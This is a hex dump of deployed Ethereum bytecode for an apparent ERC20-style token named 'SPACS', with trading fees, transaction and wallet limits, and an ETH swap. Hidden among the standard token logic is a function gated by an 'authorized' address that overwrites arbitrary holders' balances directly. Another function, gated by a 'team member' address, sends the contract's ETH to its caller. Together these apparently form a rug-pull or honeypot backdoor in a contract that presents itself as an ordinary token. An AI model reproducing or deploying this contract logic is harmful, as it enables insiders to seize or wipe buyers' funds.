ffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114d0575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561158a5760015482111561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612e05565b60405180910390fd5b6002548261152785610752565b6115319190612e23565b1115611572576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156990612ea0565b60405180910390fd5b60105f81548092919061158490612ebe565b91905055505b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561161257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611656576116536064611645600f546010541161163257600b54611636565b600d545b85611a8c90919063ffffffff16565b611b0390919063ffffffff16565b90505b5f61166030610752565b9050600560159054906101000a900460ff161580156116cb575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156116e35750600560169054906101000a900460ff165b15611718575f81111561170e5761170d6117088461170384600354611b4c565b611b4c565b611b64565b5b61171747611dcf565b5b505b5f811115611819576117728160075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e3790919063ffffffff16565b60075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611810919061220e565b60405180910390a35b6118698260075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e9490919063ffffffff16565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061190c6118c08284611e9490919063ffffffff16565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e3790919063ffffffff16565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119af8486611e9490919063ffffffff16565b6040516119bc919061220e565b60405180910390a350505050565b5f838311158290611a11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0891906120a5565b60405180910390fd5b505f8385611a1f9190612f05565b9050809150509392505050565b5f5b8251811015611a87575f838281518110611a4b57611a4a612f38565b5b60200260200101519050611a7981848481518110611a6c57611a6b612f38565b5b6020026020010151611edd565b508080600101915050611a2e565b505050565b5f808303611a9c575f9050611afd565b5f8284611aa99190612795565b9050828482611ab89190612f92565b14611af8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aef90613032565b60405180910390fd5b809150505b92915050565b5f611b4483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fd4565b905092915050565b5f818311611b5a5782611b5c565b815b905092915050565b6001600560156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611b9b57611b9a6122af565b5b604051908082528060200260200182016040528015611bc95781602001602082028036833780820191505090505b50905030815f81518110611be057611bdf612f38565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c84573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ca89190612922565b81600181518110611cbc57611cbb612f38565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d223060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611047565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611d84959493929190613107565b5f604051808303815f87803b158015611d9b575f80fd5b505af1158015611dad573d5f803e3d5ffd5b50505050505f600560156101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611e33573d5f803e3d5ffd5b5050565b5f808284611e459190612e23565b905083811015611e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e81906131a9565b60405180910390fd5b8091505092915050565b5f611ed583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119ca565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4290612c81565b60405180910390fd5b5f811015611f8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8590612d9d565b60405180910390fd5b8060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f808311829061201a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201191906120a5565b60405180910390fd5b505f83856120289190612f92565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61207782612035565b612081818561203f565b935061209181856020860161204f565b61209a8161205d565b840191505092915050565b5f6020820190508181035f8301526120bd818461206d565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6120ff826120d6565b9050919050565b61210f816120f5565b8114612119575f80fd5b50565b5f8135905061212a81612106565b92915050565b5f60208284031215612145576121446120ce565b5b5f6121528482850161211c565b91505092915050565b5f819050919050565b61216d8161215b565b8114612177575f80fd5b50565b5f8135905061218881612164565b92915050565b5f80604083850312156121a4576121a36120ce565b5b5f6121b18582860161211c565b92505060206121c28582860161217a565b9150509250929050565b5f8115159050919050565b6121e0816121cc565b82525050565b5f6020820190506121f95f8301846121d7565b92915050565b6122088161215b565b82525050565b5f6020820190506122215f8301846121ff565b92915050565b5f805f6060848603121561223e5761223d6120ce565b5b5f61224b8682870161211c565b935050602061225c8682870161211c565b925050604061226d8682870161217a565b9150509250925092565b5f60ff82169050919050565b61228c81612277565b82525050565b5f6020820190506122a55f830184612283565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6122e58261205d565b810181811067ffffffffffffffff82111715612304576123036122af565b5b80604052505050565b5f6123166120c5565b905061232282826122dc565b919050565b5f67ffffffffffffffff821115612341576123406122af565b5b602082029050602081019050919050565b5f80fd5b5f61236861236384612327565b61230d565b9050808382526020820190506020840283018581111561238b5761238a612352565b5b835b818110156123b457806123a0888261211c565b84526020840193505060208101905061238d565b5050509392505050565b5f82601f8301126123d2576123d16122ab565b5b81356123e2848260208601612356565b91505092915050565b5f67ffffffffffffffff821115612405576124046122af565b5b602082029050602081019050919050565b5f612428612423846123eb565b61230d565b9050808382526020820190506020840283018581111561244b5761244a612352565b5b835b818110156124745780612460888261217a565b84526020840193505060208101905061244d565b5050509392505050565b5f82601f830112612492576124916122ab565b5b81356124a2848260208601612416565b91505092915050565b5f80604083850312156124c1576124c06120ce565b5b5f83013567ffffffffffffffff8111156124de576124dd6120d2565b5b6124ea858286016123be565b925050602083013567ffffffffffffffff81111561250b5761250a6120d2565b5b6125178582860161247e565b9150509250929050565b61252a816120f5565b82525050565b5f6020820190506125435f830184612521565b92915050565b5f806040838503121561255f5761255e6120ce565b5b5f61256c8582860161211c565b925050602061257d8582860161211c565b9150509250929050565b7f4e6f74205465616d204d656d62657200000000000000000000000000000000005f82015250565b5f6125bb600f8361203f565b91506125c682612587565b602082019050919050565b5f6020820190508181035f8301526125e8816125af565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156126715780860481111561264d5761264c6125ef565b5b600185161561265c5780820291505b808102905061266a8561261c565b9450612631565b94509492505050565b5f826126895760019050612744565b81612696575f9050612744565b81600181146126ac57600281146126b6576126e5565b6001915050612744565b60ff8411156126c8576126c76125ef565b5b8360020a9150848211156126df576126de6125ef565b5b50612744565b5060208310610133831016604e8410600b841016171561271a5782820a905083811115612715576127146125ef565b5b612744565b6127278484846001612628565b9250905081840481111561273e5761273d6125ef565b5b81810290505b9392505050565b5f6127558261215b565b915061276083612277565b925061278d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461267a565b905092915050565b5f61279f8261215b565b91506127aa8361215b565b92508282026127b88161215b565b915082820484148315176127cf576127ce6125ef565b5b5092915050565b7f6e6f7420617574686f72697a65640000000000000000000000000000000000005f82015250565b5f61280a600e8361203f565b9150612815826127d6565b602082019050919050565b5f6020820190508181035f830152612837816127fe565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61287260208361203f565b915061287d8261283e565b602082019050919050565b5f6020820190508181035f83015261289f81612866565b9050919050565b7f416c7265616479204c61756e63686564210000000000000000000000000000005f82015250565b5f6128da60118361203f565b91506128e5826128a6565b602082019050919050565b5f6020820190508181035f830152612907816128ce565b9050919050565b5f8151905061291c81612106565b92915050565b5f60208284031215612937576129366120ce565b5b5f6129448482850161290e565b91505092915050565b5f6040820190506129605f830185612521565b61296d6020830184612521565b9392505050565b5f819050919050565b5f819050919050565b5f6129a061299b61299684612974565b61297d565b61215b565b9050919050565b6129b081612986565b82525050565b5f60c0820190506129c95f830189612521565b6129d660208301886121ff565b6129e360408301876129a7565b6129f060608301866129a7565b6129fd6080830185612521565b612a0a60a08301846121ff565b979650505050505050565b5f81519050612a2381612164565b92915050565b5f805f60608486031215612a4057612a3f6120ce565b5b5f612a4d86828701612a15565b9350506020612a5e86828701612a15565b9250506040612a6f86828701612a15565b9150509250925092565b5f604082019050612a8c5f830185612521565b612a9960208301846121ff565b9392505050565b612aa9816121cc565b8114612ab3575f80fd5b50565b5f81519050612ac481612aa0565b92915050565b5f60208284031215612adf57612ade6120ce565b5b5f612aec84828501612ab6565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612b4f60248361203f565b9150612b5a82612af5565b604082019050919050565b5f6020820190508181035f830152612b7c81612b43565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612bdd60228361203f565b9150612be882612b83565b604082019050919050565b5f6020820190508181035f830152612c0a81612bd1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c6b60258361203f565b9150612c7682612c11565b604082019050919050565b5f6020820190508181035f830152612c9881612c5f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612cf960238361203f565b9150612d0482612c9f565b604082019050919050565b5f6020820190508181035f830152612d2681612ced565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612d8760298361203f565b9150612d9282612d2d565b604082019050919050565b5f6020820190508181035f830152612db481612d7b565b9050919050565b7f4578636565647320746865205f6d6178416d6f756e7450657254582e000000005f82015250565b5f612def601c8361203f565b9150612dfa82612dbb565b602082019050919050565b5f6020820190508181035f830152612e1c81612de3565b9050919050565b5f612e2d8261215b565b9150612e388361215b565b9250828201905080821115612e5057612e4f6125ef565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612e8a601a8361203f565b9150612e9582612e56565b602082019050919050565b5f6020820190508181035f830152612eb781612e7e565b9050919050565b5f612ec88261215b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612efa57612ef96125ef565b5b600182019050919050565b5f612f0f8261215b565b9150612f1a8361215b565b9250828203905081811115612f3257612f316125ef565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612f9c8261215b565b9150612fa78361215b565b925082612fb757612fb6612f65565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61301c60218361203f565b915061302782612fc2565b604082019050919050565b5f6020820190508181035f83015261304981613010565b9050919050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613082816120f5565b82525050565b5f6130938383613079565b60208301905092915050565b5f602082019050919050565b5f6130b582613050565b6130bf818561305a565b93506130ca8361306a565b805f5b838110156130fa5781516130e18882613088565b97506130ec8361309f565b9250506001810190506130cd565b5085935050505092915050565b5f60a08201905061311a5f8301886121ff565b61312760208301876129a7565b818103604083015261313981866130ab565b90506131486060830185612521565b61315560808301846121ff565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613193601b8361203f565b915061319e8261315f565b602082019050919050565b5f6020820190508181035f8301526131c081613187565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d77b6bba131f008a34863c1c7769b163f0fed59791802cb39cd1e0f481d7ea2864736f6c634300081a0033
Deployed Bytecode
0x60806040526004361061010c575f3560e01c806370a08231116100945780638a8c523c116100635780638a8c523c146103435780638da5cb5b1461035957806395d89b4114610383578063a9059cbb146103ad578063dd62ed3e146103e957610113565b806370a08231146102b1578063715018a6146102ed578063751039fc1461030357806382b5deab1461031957610113565b806318160ddd116100db57806318160ddd146101cf57806321d91921146101f957806323b872dd14610223578063313ce5671461025f578063672434821461028957610113565b806306fdde03146101175780630901727214610141578063095ea7b3146101695780630faee56f146101a557610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b610425565b60405161013891906120a5565b60405180910390f35b34801561014c575f80fd5b5061016760048036038101906101629190612130565b610462565b005b348015610174575f80fd5b5061018f600480360381019061018a919061218e565b610586565b60405161019c91906121e6565b60405180910390f35b3480156101b0575f80fd5b506101b96105a3565b6040516101c6919061220e565b60405180910390f35b3480156101da575f80fd5b506101e36105a9565b6040516101f0919061220e565b60405180910390f35b348015610204575f80fd5b5061020d6105cc565b60405161021a919061220e565b60405180910390f35b34801561022e575f80fd5b5061024960048036038101906102449190612227565b6105d2565b60405161025691906121e6565b60405180910390f35b34801561026a575f80fd5b506102736106a6565b6040516102809190612292565b60405180910390f35b348015610294575f80fd5b506102af60048036038101906102aa91906124ab565b6106ae565b005b3480156102bc575f80fd5b506102d760048036038101906102d29190612130565b610752565b6040516102e4919061220e565b60405180910390f35b3480156102f8575f80fd5b50610301610798565b005b34801561030e575f80fd5b506103176108e6565b005b348015610324575f80fd5b5061032d610a15565b60405161033a919061220e565b60405180910390f35b34801561034e575f80fd5b50610357610a1b565b005b348015610364575f80fd5b5061036d610f3d565b60405161037a9190612530565b60405180910390f35b34801561038e575f80fd5b50610397610f64565b6040516103a491906120a5565b60405180910390f35b3480156103b8575f80fd5b506103d360048036038101906103ce919061218e565b610fa1565b6040516103e091906121e6565b60405180910390f35b3480156103f4575f80fd5b5061040f600480360381019061040a9190612549565b610fbe565b60405161041c919061220e565b60405180910390f35b60606040518060400160405280600581526020017f5350414353000000000000000000000000000000000000000000000000000000815250905090565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104a2611040565b73ffffffffffffffffffffffffffffffffffffffff16146104f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ef906125d1565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610540611040565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610582573d5f803e3d5ffd5b5050565b5f610599610592611040565b8484611047565b6001905092915050565b60035481565b5f6009600a6105b8919061274b565b633b9aca006105c79190612795565b905090565b60025481565b5f6105de84848461120a565b61069b846105ea611040565b610696856040518060600160405280602881526020016131c86028913960085f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61064d611040565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119ca9092919063ffffffff16565b611047565b600190509392505050565b5f6009905090565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ee611040565b73ffffffffffffffffffffffffffffffffffffffff1614610744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073b90612820565b60405180910390fd5b61074e8282611a2c565b5050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107a0611040565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461082c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082390612888565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6108ee611040565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097190612888565b60405180910390fd5b6009600a610988919061274b565b633b9aca006109979190612795565b6001819055506009600a6109ab919061274b565b633b9aca006109ba9190612795565b6002819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6109ef919061274b565b633b9aca006109fe9190612795565b604051610a0b919061220e565b60405180910390a1565b60015481565b610a23611040565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa690612888565b60405180910390fd5b600560149054906101000a900460ff1615610aff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af6906128f0565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b9b3060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610b87919061274b565b633b9aca00610b969190612795565b611047565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c05573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c299190612922565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610caf573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cd39190612922565b6040518363ffffffff1660e01b8152600401610cf092919061294d565b6020604051808303815f875af1158015610d0c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d309190612922565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610db730610752565b5f80610dc1610f3d565b426040518863ffffffff1660e01b8152600401610de3969594939291906129b6565b60606040518083038185885af1158015610dff573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610e249190612a29565b50505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ec4929190612a79565b6020604051808303815f875af1158015610ee0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f049190612aca565b506001600560166101000a81548160ff0219169083151502179055506001600560146101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5350414353000000000000000000000000000000000000000000000000000000815250905090565b5f610fb4610fad611040565b848461120a565b6001905092915050565b5f60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ac90612b65565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111a90612bf3565b60405180910390fd5b8060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111fd919061220e565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611278576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126f90612c81565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112dd90612d0f565b60405180910390fd5b5f8111611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f90612d9d565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561139157503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561171a576113d260646113c4600e54601054116113b157600a546113b5565b600c545b85611a8c90919063ffffffff16565b611b0390919063ffffffff16565b905060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561147d575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114d0575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561158a5760015482111561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612e05565b60405180910390fd5b6002548261152785610752565b6115319190612e23565b1115611572576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156990612ea0565b60405180910390fd5b60105f81548092919061158490612ebe565b91905055505b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561161257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611656576116536064611645600f546010541161163257600b54611636565b600d545b85611a8c90919063ffffffff16565b611b0390919063ffffffff16565b90505b5f61166030610752565b9050600560159054906101000a900460ff161580156116cb575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156116e35750600560169054906101000a900460ff165b15611718575f81111561170e5761170d6117088461170384600354611b4c565b611b4c565b611b64565b5b61171747611dcf565b5b505b5f811115611819576117728160075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e3790919063ffffffff16565b60075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611810919061220e565b60405180910390a35b6118698260075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e9490919063ffffffff16565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061190c6118c08284611e9490919063ffffffff16565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e3790919063ffffffff16565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119af8486611e9490919063ffffffff16565b6040516119bc919061220e565b60405180910390a350505050565b5f838311158290611a11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0891906120a5565b60405180910390fd5b505f8385611a1f9190612f05565b9050809150509392505050565b5f5b8251811015611a87575f838281518110611a4b57611a4a612f38565b5b60200260200101519050611a7981848481518110611a6c57611a6b612f38565b5b6020026020010151611edd565b508080600101915050611a2e565b505050565b5f808303611a9c575f9050611afd565b5f8284611aa99190612795565b9050828482611ab89190612f92565b14611af8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aef90613032565b60405180910390fd5b809150505b92915050565b5f611b4483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fd4565b905092915050565b5f818311611b5a5782611b5c565b815b905092915050565b6001600560156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611b9b57611b9a6122af565b5b604051908082528060200260200182016040528015611bc95781602001602082028036833780820191505090505b50905030815f81518110611be057611bdf612f38565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c84573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ca89190612922565b81600181518110611cbc57611cbb612f38565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d223060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611047565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611d84959493929190613107565b5f604051808303815f87803b158015611d9b575f80fd5b505af1158015611dad573d5f803e3d5ffd5b50505050505f600560156101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611e33573d5f803e3d5ffd5b5050565b5f808284611e459190612e23565b905083811015611e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e81906131a9565b60405180910390fd5b8091505092915050565b5f611ed583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119ca565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4290612c81565b60405180910390fd5b5f811015611f8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8590612d9d565b60405180910390fd5b8060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f808311829061201a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201191906120a5565b60405180910390fd5b505f83856120289190612f92565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61207782612035565b612081818561203f565b935061209181856020860161204f565b61209a8161205d565b840191505092915050565b5f6020820190508181035f8301526120bd818461206d565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6120ff826120d6565b9050919050565b61210f816120f5565b8114612119575f80fd5b50565b5f8135905061212a81612106565b92915050565b5f60208284031215612145576121446120ce565b5b5f6121528482850161211c565b91505092915050565b5f819050919050565b61216d